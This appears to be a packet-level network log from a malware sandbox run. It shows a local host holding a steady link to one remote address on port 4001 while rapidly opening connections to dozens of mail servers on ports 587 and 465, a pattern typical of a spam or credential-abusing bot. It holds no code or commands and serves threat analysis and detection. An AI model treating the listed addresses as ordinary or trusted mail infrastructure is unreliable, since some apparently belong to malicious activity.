May 19, 2024 17:27:51.470308065 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.470379114 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.470437050 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.470535994 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.470593929 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.470665932 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:51.470902920 CEST	49951	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:51.470931053 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:51.470966101 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:51.471007109 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:51.471290112 CEST	49994	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:51.471290112 CEST	49955	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:51.472615004 CEST	50033	587	192.168.2.4	129.159.125.229
May 19, 2024 17:27:51.473311901 CEST	50034	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:51.475105047 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.505635977 CEST	49930	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:51.511792898 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:51.511842966 CEST	587	49923	199.85.66.2	192.168.2.4
May 19, 2024 17:27:51.511857986 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.511872053 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:51.511883974 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.511898041 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:51.511912107 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:27:51.511924982 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:27:51.511939049 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:51.511951923 CEST	587	49994	65.20.63.172	192.168.2.4
May 19, 2024 17:27:51.511965990 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:27:51.511981010 CEST	587	50033	129.159.125.229	192.168.2.4
May 19, 2024 17:27:51.511995077 CEST	587	50034	117.50.20.113	192.168.2.4
May 19, 2024 17:27:51.512053967 CEST	50033	587	192.168.2.4	129.159.125.229
May 19, 2024 17:27:51.512072086 CEST	50034	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:51.517592907 CEST	587	49831	142.93.237.125	192.168.2.4
May 19, 2024 17:27:51.517623901 CEST	587	49932	194.19.134.66	192.168.2.4
May 19, 2024 17:27:51.526896954 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.526896954 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.527919054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.527920008 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.528568029 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.528603077 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.528810024 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.528839111 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.528971910 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.529000044 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.535219908 CEST	587	49926	194.153.145.104	192.168.2.4
May 19, 2024 17:27:51.538546085 CEST	49926	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:51.538547039 CEST	49926	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:51.538588047 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.540297985 CEST	587	49866	64.136.52.44	192.168.2.4
May 19, 2024 17:27:51.540605068 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.545236111 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.545260906 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.550127983 CEST	587	49926	194.153.145.104	192.168.2.4
May 19, 2024 17:27:51.567991972 CEST	49831	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:51.568278074 CEST	49932	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:51.573375940 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.573405027 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.574193954 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:51.574197054 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:51.574229956 CEST	49997	587	192.168.2.4	66.133.129.10
May 19, 2024 17:27:51.574264050 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:27:51.574774981 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:51.574835062 CEST	49961	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:51.583619118 CEST	49866	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:51.589268923 CEST	587	49997	66.133.129.10	192.168.2.4
May 19, 2024 17:27:51.614957094 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.637430906 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:51.637523890 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:27:51.637554884 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:27:51.637583017 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:51.637613058 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:27:51.638134956 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:27:51.638359070 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.638359070 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.644524097 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:27:51.644618034 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:27:51.644831896 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.649586916 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.677885056 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:27:51.678340912 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.678340912 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.680243969 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:27:51.680399895 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.680443048 CEST	49951	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:51.685081959 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:27:51.685133934 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:27:51.685167074 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:51.685197115 CEST	49951	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:51.685374975 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.685374975 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.685374975 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.685374975 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.689943075 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.690378904 CEST	50036	587	192.168.2.4	81.2.195.204
May 19, 2024 17:27:51.694919109 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:27:51.694972038 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:51.695004940 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.695034981 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.695127010 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.695127010 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.699645996 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.699695110 CEST	587	49997	66.133.129.10	192.168.2.4
May 19, 2024 17:27:51.699959040 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.704452991 CEST	587	50036	81.2.195.204	192.168.2.4
May 19, 2024 17:27:51.704668045 CEST	50036	587	192.168.2.4	81.2.195.204
May 19, 2024 17:27:51.704699993 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.709537029 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.714441061 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.729882956 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:51.730009079 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:27:51.730104923 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:51.731328011 CEST	50037	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:51.735308886 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:51.735363960 CEST	587	49779	142.93.237.125	192.168.2.4
May 19, 2024 17:27:51.735544920 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.735546112 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.739829063 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:51.739994049 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:51.740044117 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:51.740044117 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:51.740044117 CEST	49997	587	192.168.2.4	66.133.129.10
May 19, 2024 17:27:51.744967937 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:27:51.745023012 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:51.745093107 CEST	587	50037	193.122.179.25	192.168.2.4
May 19, 2024 17:27:51.745170116 CEST	50037	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:51.749589920 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.749675035 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:51.756804943 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:51.786631107 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:51.786650896 CEST	49779	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:51.792280912 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.802246094 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:51.810483932 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:51.826255083 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:51.832283020 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:27:51.833631992 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.841717958 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:51.856853962 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:51.856900930 CEST	587	49928	117.50.20.113	192.168.2.4
May 19, 2024 17:27:51.857052088 CEST	49928	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:51.858565092 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:27:51.862732887 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:27:51.862771034 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:27:51.862927914 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:27:51.866844893 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:27:51.871045113 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:27:51.871105909 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:27:51.871123075 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:51.880362988 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:51.880868912 CEST	49955	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:51.895992994 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:51.911756992 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:51.912570000 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:51.912705898 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:27:51.921488047 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.964409113 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.969322920 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:27:51.969371080 CEST	465	50018	208.91.197.132	192.168.2.4
May 19, 2024 17:27:51.969403028 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:27:51.969433069 CEST	587	50009	120.50.131.112	192.168.2.4
May 19, 2024 17:27:51.969439983 CEST	50018	465	192.168.2.4	208.91.197.132
May 19, 2024 17:27:51.969491005 CEST	50009	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:52.015090942 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:52.036686897 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:27:52.036715984 CEST	49961	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:52.042130947 CEST	587	50031	46.255.231.19	192.168.2.4
May 19, 2024 17:27:52.067848921 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.081872940 CEST	587	50033	129.159.125.229	192.168.2.4
May 19, 2024 17:27:52.083487988 CEST	50031	587	192.168.2.4	46.255.231.19
May 19, 2024 17:27:52.118546963 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:52.130503893 CEST	50033	587	192.168.2.4	129.159.125.229
May 19, 2024 17:27:52.161849022 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.163439035 CEST	587	50017	142.93.237.125	192.168.2.4
May 19, 2024 17:27:52.163527012 CEST	50017	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:52.171700954 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:27:52.224145889 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:27:52.259378910 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:52.302454948 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.307955027 CEST	587	50037	193.122.179.25	192.168.2.4
May 19, 2024 17:27:52.308053017 CEST	587	49868	194.158.122.55	192.168.2.4
May 19, 2024 17:27:52.308125019 CEST	49868	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:52.329812050 CEST	587	50036	81.2.195.204	192.168.2.4
May 19, 2024 17:27:52.349252939 CEST	50037	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:52.396099091 CEST	50036	587	192.168.2.4	81.2.195.204
May 19, 2024 17:27:52.399831057 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:52.443070889 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.483848095 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:52.501099110 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:52.536825895 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:52.540388107 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:52.552263021 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:52.583626032 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.600680113 CEST	587	49938	194.153.145.104	192.168.2.4
May 19, 2024 17:27:52.600881100 CEST	49938	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:52.678297043 CEST	587	49886	194.158.122.55	192.168.2.4
May 19, 2024 17:27:52.678477049 CEST	49886	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:52.683562994 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:52.724195004 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.758030891 CEST	587	49909	64.136.52.44	192.168.2.4
May 19, 2024 17:27:52.802232981 CEST	49909	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:52.821453094 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:52.822626114 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.822757006 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.822865009 CEST	49886	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:52.822900057 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.823084116 CEST	50018	465	192.168.2.4	208.91.197.132
May 19, 2024 17:27:52.823103905 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.823261976 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.823353052 CEST	50017	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:52.823613882 CEST	50009	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:52.823852062 CEST	49928	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:52.823928118 CEST	49868	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:52.824132919 CEST	49938	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:52.824774027 CEST	49974	587	192.168.2.4	194.181.93.175
May 19, 2024 17:27:52.824831963 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:52.824878931 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:52.824933052 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:52.825171947 CEST	49901	587	192.168.2.4	103.224.30.254
May 19, 2024 17:27:52.825326920 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:27:52.825373888 CEST	49998	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:52.825675964 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:52.826234102 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.826263905 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.826476097 CEST	49935	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:52.826520920 CEST	49903	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:52.826903105 CEST	50001	587	192.168.2.4	83.102.40.117
May 19, 2024 17:27:52.826956034 CEST	50000	587	192.168.2.4	213.172.96.34
May 19, 2024 17:27:52.827017069 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:27:52.827063084 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:27:52.827116013 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:52.827166080 CEST	49843	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:52.827332973 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:27:52.827382088 CEST	49778	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:52.827425957 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:52.827478886 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:52.827527046 CEST	50002	587	192.168.2.4	103.82.242.210
May 19, 2024 17:27:52.827939987 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:52.828783035 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:27:52.828949928 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:52.829010010 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.829076052 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.829121113 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.829121113 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.829185963 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.829185963 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.829185963 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.829302073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.829302073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.829322100 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.829358101 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.829416990 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.829476118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.829641104 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.830034971 CEST	50007	587	192.168.2.4	164.90.197.79
May 19, 2024 17:27:52.830136061 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:27:52.830193043 CEST	587	49886	194.158.122.55	192.168.2.4
May 19, 2024 17:27:52.830284119 CEST	49871	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:52.830357075 CEST	50011	587	192.168.2.4	164.90.203.106
May 19, 2024 17:27:52.830377102 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.830420017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.830476046 CEST	49920	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:52.830535889 CEST	49789	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:52.830622911 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.830776930 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.830806017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:52.830833912 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:52.831120014 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:52.831831932 CEST	49779	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:52.834525108 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:52.834557056 CEST	465	50018	208.91.197.132	192.168.2.4
May 19, 2024 17:27:52.834583998 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:52.834611893 CEST	587	50017	142.93.237.125	192.168.2.4
May 19, 2024 17:27:52.834640026 CEST	587	50009	120.50.131.112	192.168.2.4
May 19, 2024 17:27:52.834666967 CEST	587	49928	117.50.20.113	192.168.2.4
May 19, 2024 17:27:52.834693909 CEST	587	49868	194.158.122.55	192.168.2.4
May 19, 2024 17:27:52.834721088 CEST	587	49938	194.153.145.104	192.168.2.4
May 19, 2024 17:27:52.834748983 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:27:52.834778070 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:52.834805012 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:52.834831953 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:27:52.834858894 CEST	587	49901	103.224.30.254	192.168.2.4
May 19, 2024 17:27:52.834886074 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:27:52.834913015 CEST	587	49998	182.248.170.226	192.168.2.4
May 19, 2024 17:27:52.834939957 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:52.834966898 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:27:52.834992886 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:27:52.835020065 CEST	587	50001	83.102.40.117	192.168.2.4
May 19, 2024 17:27:52.835047007 CEST	587	50000	213.172.96.34	192.168.2.4
May 19, 2024 17:27:52.835073948 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:52.836791039 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:52.836824894 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:52.836852074 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:52.836879015 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:52.836905956 CEST	587	49907	46.227.176.12	192.168.2.4
May 19, 2024 17:27:52.836932898 CEST	587	49778	142.93.237.125	192.168.2.4
May 19, 2024 17:27:52.836960077 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:52.836986065 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:52.837013006 CEST	587	50002	103.82.242.210	192.168.2.4
May 19, 2024 17:27:52.837038994 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:52.837065935 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:27:52.837093115 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:52.837119102 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:52.837145090 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:52.837169886 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:52.837197065 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:52.837223053 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:52.837249041 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:52.841705084 CEST	587	50007	164.90.197.79	192.168.2.4
May 19, 2024 17:27:52.841733932 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:27:52.841797113 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:52.841824055 CEST	587	50011	164.90.203.106	192.168.2.4
May 19, 2024 17:27:52.841851950 CEST	587	49920	84.116.6.22	192.168.2.4
May 19, 2024 17:27:52.841878891 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:52.889291048 CEST	587	49789	142.93.237.125	192.168.2.4
May 19, 2024 17:27:52.889319897 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:52.889348030 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:52.889375925 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:52.889403105 CEST	587	49779	142.93.237.125	192.168.2.4
May 19, 2024 17:27:52.889431000 CEST	587	50022	195.238.20.30	192.168.2.4
May 19, 2024 17:27:52.889458895 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:52.889508009 CEST	587	49895	194.158.122.55	192.168.2.4
May 19, 2024 17:27:52.889571905 CEST	49895	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:52.934207916 CEST	587	49898	194.158.122.55	192.168.2.4
May 19, 2024 17:27:52.934245110 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:27:52.934437037 CEST	49898	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:52.935764074 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:27:52.935828924 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:52.939083099 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:27:52.939114094 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:27:52.939277887 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:52.942883015 CEST	50022	587	192.168.2.4	195.238.20.30
May 19, 2024 17:27:52.944036007 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:52.951854944 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:52.953088045 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:52.953293085 CEST	49871	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:52.955488920 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:52.955523014 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:52.955749035 CEST	49871	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:52.958159924 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:52.958175898 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:52.958241940 CEST	49871	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:52.960531950 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:52.989754915 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:53.005527020 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:53.005559921 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.005590916 CEST	587	49943	104.22.12.236	192.168.2.4
May 19, 2024 17:27:53.005620003 CEST	587	49812	193.70.18.144	192.168.2.4
